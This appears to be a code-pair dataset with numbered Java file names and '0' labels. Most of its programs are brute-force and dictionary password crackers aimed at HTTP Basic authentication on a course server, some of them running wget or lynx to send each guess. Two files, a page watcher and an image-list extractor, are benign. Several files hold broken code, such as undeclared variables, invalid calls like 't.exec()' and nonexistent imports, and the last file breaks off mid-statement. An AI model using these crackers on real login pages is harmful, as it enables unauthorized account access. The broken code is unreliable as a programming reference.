if(upperChars[i].indexOf(letter) > -1) return i; } return notFound; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
000.java
161.java
0
import java.io.*; class BruteForce{ public static void main (String args[]){ URLHack uh = new URLHack(); String pas,pas1,pas2,pas3; String passs; for(int i = 97; i <= 122; i++) { for(int j = 97; j <=122; j++) { for(int k = 97; k <= 122; k++) { pas1 = new Character((char)i).toString(); pas2 = new Character((char)j).toString(); pas3 = new Character((char)k).toString(); passs= pas1+pas2+pas3; uh.crackIt(passs); } } } System.exit(0); for(int i = 65; i <= 90; i++) { for(int j = 65; j <=90; j++) { for(int k = 65; k <= 90; k++) { pas1 = new Character((char)i).toString(); pas2 = new Character((char)j).toString(); pas3 = new Character((char)k).toString(); passs= pas1+pas2+pas3; uh.crackIt(passs); } } } for(int i = 65; i <= 90; i++) { for(int j = 97; j <=122; j++) { for(int k = 65; k <= 90; k++) { pas1 = new Character((char)i).toString(); pas2 = new Character((char)j).toString(); pas3 = new Character((char)k).toString(); passs= pas1+pas2+pas3; uh.crackIt(passs); } } } for(int i = 97; i <= 122; i++) { for(int j = 97; j <=122; j++) { for(int k = 65; k <= 90; k++) { pas1 = new Character((char)i).toString(); pas2 = new Character((char)j).toString(); pas3 = new Character((char)k).toString(); passs= pas1+pas2+pas3; uh.crackIt(passs); } } } for(int i = 97; i <= 122; i++) { for(int j = 65; j <=90; j++) { for(int k = 65; k <= 90; k++) { pas1 = new Character((char)i).toString(); pas2 = new Character((char)j).toString(); pas3 = new Character((char)k).toString(); passs= pas1+pas2+pas3; uh.crackIt(passs); } } } for(int i = 65; i <= 90; i++) { for(int j = 97; j <= 122; j++) { pas1 = new Character((char)i).toString(); pas2 = new Character((char)j).toString(); passs= pas1+pas2; uh.crackIt(passs); } } } } class URLHack{ public void crackIt(String paas){ Process p=null; try{ p = Runtime.getRuntime().exec("wget -nv --http-user= --http-passwd="+paas+ " http://sec-crack.cs.rmit.edu./SEC/2/"); InputStream is = p.getErrorStream(); BufferedReader bf = new BufferedReader(new InputStreamReader(is)); String tempLine=""; tempLine = bf.readLine(); System.out.println(tempLine); if(tempLine.length() == 21) System.out.println("Invalid Password " +paas); else { System.out.println("BINGO " + paas); System.exit(0); } } catch(Exception e){ System.out.println(" ERROR "+e); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
056.java
161.java
0
class BruteForce { public static void main (String []a)throws Exception { PasswordGen p1,p2,p3,p4,p5,p6,p7,p8; int count=1; p1=new PasswordGen(1,"1"); p2=new PasswordGen(2,"2"); p3=new PasswordGen(3,"3"); p4=new PasswordGen(4,"4"); p5=new PasswordGen(5,"5"); p6=new PasswordGen(6,"6"); p7=new PasswordGen(7,"7"); p8=new PasswordGen(8,"8"); p1.t.join(); p2.t.join(); p3.t.join(); p4.t.join(); p5.t.join(); p6.t.join(); p7.t.join(); p8.t.join(); } } class PasswordGen implements Runnable { char upperAlpha[] =new char[26]; char lowerAlpha[]=new char[26]; char lowerChar='a',upperChar='A'; String passwd1; int threadNumber=0; static boolean successFlag=false; Thread t; static String crackedPasswd=""; PasswordGen(int Number,String name) { for(int i=0;i<26;i++) { upperAlpha[i]=upperChar; lowerAlpha[i]=lowerChar; upperChar++; lowerChar++; } this.threadNumber=Number; t= new Thread(this,name); t.exec(); } public void run() { int i,j,k; String url; int exitValue=-1; int startTime=0,finishTime=0; int noAttempts=0; try { switch(threadNumber) { case 1: startTime=System.currentTimeMillis(); for(i=25;i>=0;i--) { for( j=25;j>=0;j--) { for( k=25;k>=0;k--) { try { if(successFlag)break; passwd1=""+lowerAlpha[i]+""+lowerAlpha[j]+""+lowerAlpha[k]; System.out.println(passwd1); url="wget --http-user= --http-passwd="+passwd1+" http://sec-crack.cs.rmit.edu./SEC/2/ "; exitValue=executemyurl(url); noAttempts++; if(exitValue==0) { crackedPasswd= passwd1; System.out.println("Cracked Passwd is:="+crackedPasswd); successFlag=true; finishTime=System.currentTimeMillis(); System.out.println("Time taken crack the password is :"+((finishTime-startTime)/1000) +"seconds"); System.out.println(noAttempts); } } catch(Exception e){System.out.println(e);} } } } break; case 2: for(i=0;i<=25;i++) { for( j=0;j<=25;j++) { for( k=0;k<=25;k++) { if(successFlag)break; try { passwd1=""+lowerAlpha[i]+""+lowerAlpha[j]+""+upperAlpha[k]; url="wget --http-user= --http-passwd="+passwd1+" http://sec-crack.cs.rmit.edu./SEC/2/ "; System.out.println(passwd1); exitValue=executemyurl(url); noAttempts++; if(exitValue==0) { crackedPasswd= passwd1; System.out.println("Cracked Passwd is:="+crackedPasswd); successFlag=true; finishTime=System.currentTimeMillis(); System.out.println("Time taken crack the password is :"+((finishTime-startTime)/1000) +"seconds"); System.out.println(noAttempts); } } catch(Exception e){System.out.println(e);} } } } break; case 3: for(i=0;i<26;i++) { for(j=0;j<26;j++) { for(k=0;k<26;k++) { if(successFlag)break; try { passwd1=""+lowerAlpha[i]+""+upperAlpha[j]+""+lowerAlpha[k]; url="wget --http-user= --http-passwd="+passwd1+" http://sec-crack.cs.rmit.edu./SEC/2/ "; System.out.println(passwd1); exitValue=executemyurl(url); noAttempts++; if(exitValue==0) { crackedPasswd= passwd1; System.out.println("Cracked Passwd is:="+crackedPasswd); successFlag=true; finishTime=System.currentTimeMillis(); System.out.println("Time taken crack the password is :"+((finishTime-startTime)/1000) +"seconds"); System.out.println(noAttempts); } } catch(Exception e){System.out.println(e);} } } } break; case 4: for(i=0;i<26;i++) { for(j=0;j<26;j++) { for(k=0;k<26;k++) { if(successFlag)break; try { passwd1=""+lowerAlpha[i]+""+upperAlpha[j]+""+upperAlpha[k]; System.out.println(passwd1); url="wget --http-user= --http-passwd="+passwd1+" http://sec-crack.cs.rmit.edu./SEC/2/ "; exitValue=executemyurl(url); noAttempts++; if(exitValue==0) { crackedPasswd= passwd1; System.out.println("Cracked Passwd is:="+crackedPasswd); successFlag=true; finishTime=System.currentTimeMillis(); System.out.println("Time taken crack the password is :"+((finishTime-startTime)/1000) +"seconds"); System.out.println(noAttempts); } } catch(Exception e){System.out.println(e);} } } } break; case 5: for(i=0;i<26;i++) { for(j=0;j<26;j++) { for(k=0;k<26;k++) { if(successFlag)break; try { passwd1=""+upperAlpha[i]+""+lowerAlpha[j]+""+lowerAlpha[k]; System.out.println(passwd1); url="wget --http-user= --http-passwd="+passwd1+" http://sec-crack.cs.rmit.edu./SEC/2/ "; exitValue=executemyurl(url); noAttempts++; if(exitValue==0) { crackedPasswd= passwd1; System.out.println("Cracked Passwd is:="+crackedPasswd); successFlag=true; finishTime=System.currentTimeMillis(); System.out.println("Time taken crack the password is :"+((finishTime-startTime)/1000) +"seconds"); System.out.println(noAttempts); } } catch(Exception e){System.out.println(e);} } } } break; case 6: for(i=0;i<26;i++) { for(j=0;j<26;j++) { for(k=0;k<26;k++) { if(successFlag)break; try { passwd1=""+upperAlpha[i]+""+lowerAlpha[j]+""+upperAlpha[k]; System.out.println(passwd1); url="wget --http-user= --http-passwd="+passwd1+" http://sec-crack.cs.rmit.edu./SEC/2/ "; exitValue=executemyurl(url); noAttempts++; if(exitValue== 0) { crackedPasswd= passwd1; System.out.println("Cracked Passwd is:="+crackedPasswd); successFlag=true; finishTime=System.currentTimeMillis(); System.out.println("Time taken crack the password is :"+((finishTime-startTime)/1000) +"seconds"); System.out.println(noAttempts); } } catch(Exception e){System.out.println(e);} } } } break; case 7: for(i=0;i<26;i++) { for(j=0;j<26;j++) { for(k=0;k<26;k++) { if(successFlag)break; try { passwd1=""+upperAlpha[i]+""+upperAlpha[j]+""+lowerAlpha[k]; System.out.println(passwd1); url="wget --http-user= --http-passwd="+passwd1+" http://sec-crack.cs.rmit.edu./SEC/2/ "; exitValue=executemyurl(url); noAttempts++; if(exitValue==0) { crackedPasswd= passwd1; System.out.println("Cracked Passwd is:="+crackedPasswd); successFlag=true; finishTime=System.currentTimeMillis(); System.out.println("Time taken crack the password is :"+((finishTime-startTime)/1000) +"seconds"); System.out.println(noAttempts); } } catch(Exception e) { System.out.println(e); } } } } break; case 8: for(i=0;i<26;i++) { for(j=0;j<26;j++) { for(k=0;k<26;k++) { if(successFlag)break; try { passwd1=""+upperAlpha[i]+""+upperAlpha[j]+""+upperAlpha[k]; System.out.println(passwd1); url="wget --http-user= --http-passwd="+passwd1+" http://sec-crack.cs.rmit.edu./SEC/2/ "; exitValue=executemyurl(url); noAttempts++; if(exitValue==0) { crackedPasswd= passwd1; System.out.println("Cracked Passwd is:="+crackedPasswd); successFlag=true; finishTime=System.currentTimeMillis(); System.out.println("Time taken crack the password is :"+((finishTime-startTime)/1000) +"seconds"); System.out.println(noAttempts); } } catch(Exception e){System.out.println(e);} } } } break; } } catch(Exception e ){System.out.println();} } int executemyurl(String url) throws Exception { Process p; Runtime r=Runtime.getRuntime(); p=r.exec(url); p.waitFor(); r.freeMemory(); r.gc(); return p.exitValue(); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
027.java
161.java
0
import java.util.*; import java.net.*; import java.io.*; public class WatchDog { private Vector init; public WatchDog() { try { Runtime run = Runtime.getRuntime(); String command_line = "lynx http://www.cs.rmit.edu./students/ -dump"; Process result = run.exec(command_line); BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream())); String inputLine; init = new Vector(); while ((inputLine = in.readLine()) != null) { init.addElement(inputLine); } }catch(Exception e) { } } public static void main(String args[]) { WatchDog wd = new WatchDog(); wd.nextRead(); } public void nextRead() { while(true) { ScheduleTask sch = new ScheduleTask(init); if(sch.getFlag()!=0) { System.out.println("change happen"); WatchDog wd = new WatchDog(); wd.nextRead(); } } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
213.java
161.java
0
import java.io.*; import java.util.*; public class getImage { private FileWriter fw; public getImage() {} public void translogFile(String[] result) { String fileName = "ImageList.txt"; try{ fw=new FileWriter(fileName,false); for(int i=0;result[i]!=null;i++) { fw.write(result[i]); fw.write('\n'); } fw.close(); System.out.println("Saved sucessfully"); }catch(IOException e){ System.out.println("Error saving the file"); } } public void translogFile1(String[] result) { String fileName = "JpgGifList.txt"; try{ fw=new FileWriter(fileName,false); for(int i=0;result[i]!=null;i++) { fw.write(result[i]); fw.write('\n'); } fw.close(); System.out.println("Saved sucessfully"); }catch(IOException e){ System.out.println("Error saving the file"); } } public void tokenFile(String fileName) { String tuteId=""; String aWord=""; String bWord=""; String cWord=""; String line=null; String[] myArray = new String[10]; String[] myArrayB = new String[10]; boolean studFlag=false; int j=0; int i=0; try { BufferedReader inputStream= new BufferedReader(new FileReader(fileName)); line=inputStream.readLine(); while (line!= null) { StringTokenizer word= new StringTokenizer(line," '\"' "); while (word.hasMoreTokens()) { aWord=word.nextToken(); if(aWord.endsWith("gif") || aWord.endsWith("jpg")) { if(!aWord.startsWith("http")) { bWord = "http://www.cs.rmit.edu."+aWord; myArray[j++]=bWord; System.out.println(bWord); StringTokenizer word1= new StringTokenizer(aWord,"/"); while (word1.hasMoreTokens()) { cWord=word1.nextToken(); if(cWord.endsWith("gif") || cWord.endsWith("jpg")) { myArrayB[i++]=cWord; } } } else { myArray[j++]=aWord; System.out.println(aWord); StringTokenizer word1= new StringTokenizer(aWord,"/"); while (word1.hasMoreTokens()) { cWord=word1.nextToken(); if(cWord.endsWith("gif") || cWord.endsWith("jpg")) { myArrayB[i++]=cWord; } } } } } line=inputStream.readLine(); } translogFile(myArray); translogFile1(myArrayB); inputStream.close(); } catch(FileNotFoundException e) { System.err.println("File "+fileName+" was not found"); } catch(IOException e) { System.err.println("Error "); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
242.java
161.java
0
import java.net.*; import java.io.*; public class Bruteforce { int attempts = 0; int l = 65;int m = 65;int n = 65; URLConnection conn = null; public static void main(String args[]){ Bruteforce a = new Bruteforce(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " + attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println("Message :" +r); System.out.println("Trying again with new password"); Bruteforce a = new Bruteforce(); a.attack(args); } else { System.out.println("Trying again with new password"); Bruteforce a = new Bruteforce(); a.attack(args); } } } public String getPasswd() { attempts++; char i1 = 0; char j1 = 0; char k1 = 0; int i= l; int j= m; int k= n; String c = new String(); String c1 = new String(); String c2 = new String(); String c3 = new String(); String c4 = new String(); boolean flag; for (i=l;i<123;i++) for (j=m;j<123;j++) for (k=n;k<123;k++) { if( flag = true ) { i1 = (char)i; j1 = (char)j; k1 = (char)k; if (i==91) i=97; if (j==91) j=97; if (k==91) k=97; c = i1+""; c1 = j1+""; c2 = k1+""; c3 = c.concat(c1); c4 = c3.concat(c2); }else break; } flag = false; return c4; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty ("Authorization", PasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String PasswordBase64(String username, String password) { return " " + base64Encode (username + ":" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = ""; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; break; } } return encodedString; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
029.java
161.java
0
import java.net.*; import java.*; import java.io.*; import java.util.GregorianCalendar; public class Dictionary { public void crackAddress(String fileName) throws Exception { String line,username="",passwd,pass; int flag=0,i; BufferedReader bf = new BufferedReader(new FileReader(fileName)); Runtime run = Runtime.getRuntime(); GregorianCalendar =new GregorianCalendar(); while((passwd=bf.readLine().trim())!=null) { if((i=passwd.indexOf("\'"))!= -1) { passwd =passwd.substring(0,i)+("\\")+(passwd.substring(i,passwd.length())); } System.out.println("Hack password with the word:"+passwd); String command_line = "lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth="+username+":"+passwd+" -dump"; Process result = run.exec(command_line); BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream())); while((line=bf.readLine())!=null) { flag=1; break; } if(flag==1) { System.out.println("The username is: "+username+" The password is: "+passwd); break; } } GregorianCalendar end=new GregorianCalendar(); double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3; System.out.println("The attack use"+time+" seconds."); } public static void main(String args[]) throws Exception { Dictionary ds = new Dictionary(); ds.crackAddress(args[0]); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
252.java
161.java
0
import java.net.*; import java.io.*; public class Dictionary { public static void main (String[] args) { String pwd = new String(); String userpwd = new String(); String reply = new String(); int i,j,k; int startTime, endTime,totalTime; URLConnection connectionObj; startTime = System.currentTimeMillis(); try { URL urlObj = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); BufferedReader file = new BufferedReader(new FileReader("words")); while ((pwd=file.readLine()) != null) { userpwd = bf.encode("",pwd); connectionObj = urlObj.openConnection(); connectionObj.setRequestProperty("Authorization"," " + userpwd); connectionObj.connect(); reply = connectionObj.getHeaderField(0); System.out.println(pwd); if (reply.compareTo("HTTP/1.1 200 OK")== 0) { endTime = System.currentTimeMillis(); totalTime= (endTime - startTime)/1000; System.out.println("Total Time = " + (totalTime) + "seconds"); System.exit(0); } } } catch (MalformedURLException err) { System.out.println(err); } catch (IOException err) { System.out.println(err); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
230.java
161.java
0
import java.io.*; import java.*; import java.net.*; import java.util.*; public class Dictionary { public static void main (String[] args) throws IOException { BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in)); d = new Date().getTime(); FileReader fr = new FileReader("/usr/share/lib/dict/words"); BufferedReader bufr = new BufferedReader(fr); String word = bufr.readLine(); int total = 960; String[] pws = new String[total]; int count = 0; while (word!=null){ if (word.length()<=3) { pws[count] = word; count++;} word = bufr.readLine(); } int i=0; int response = 0; for (i=0;i<count;i++){ String uname = ""; String userinfo = uname + ":" + pws[i]; try{ String encoding = new bf.misc.BASE64Encoder().encode (userinfo.getBytes()); URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); HttpURLConnection uc = (HttpURLConnection)url.openConnection(); uc.setRequestProperty ("Authorization", " " + encoding); response = uc.getResponseCode(); if (response == 200) break; else uc.disconnect(); } catch(IOException e){ System.err.println(e); e.printStackTrace(); } catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); } } System.out.println("Response "+i+" was "+response); System.out.println("The successful password was "+pws[i]); finish = new Date().getTime(); float totaltime = (float)(finish-d)/1000; System.out.println("Time taken: "+totaltime+ " seconds."); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
140.java
161.java
0
import java.io.*; import java.util.*; import java.net.*; import java.misc.BASE64Encoder; public class BruteForce { public BruteForce() { } public static void main(String[] args) { try { if (args.length != 2 ) { System.out.println("Usage: java BruteForce <URL> <UserName>"); System.exit(1); } timeStart = System.currentTimeMillis(); String strPass = applyBruteForce (args[0], args[1]); timeEnd = System.currentTimeMillis(); System.out.println("\n\n\n\n\tPass Cracked is: " + strPass); System.out.println("\tTime taken is (sec):" + String.valueOf((timeEnd - timeStart)/1000)); } catch(Exception e) { e.printStackTrace(); } } static String applyBruteForce (String URL, String UserName) { String strPass = ""; char ch1, ch2, ch3; System.out.print("\n\n\n Applying BruteForce Attack: "); for (ch1 = 'A' ; ch1 <= 'z' ; ch1 ++) { if ( ch1 > 'Z' && ch1 < 'a' ) ch1 = 'a'; for (ch2 = 'A' ; ch2 <= 'z' ; ch2 ++) { if ( ch2 > 'Z' && ch2 < 'a' ) ch2 = 'a'; for (ch3 = 'A' ; ch3 <= 'z' ; ch3 ++) { if ( ch3 > 'Z' && ch3 < 'a' ) ch3 = 'a'; strPass = String.valueOf(ch1) + String.valueOf(ch2) + String.valueOf(ch3); System.out.print("\b\b\b" + strPass ); boolean boolResult = applyPass ( URL, UserName, strPass ); if (boolResult) { return strPass; } } } } return "Could not find match"; } private static boolean applyPass (String strURL, String strUserName, String strPass ) { BASE64Encoder myEncoder = new BASE64Encoder (); try { String str = strUserName + ":" + strPass; String strEncode = myEncoder.encode(str.getBytes()); URL url = new URL 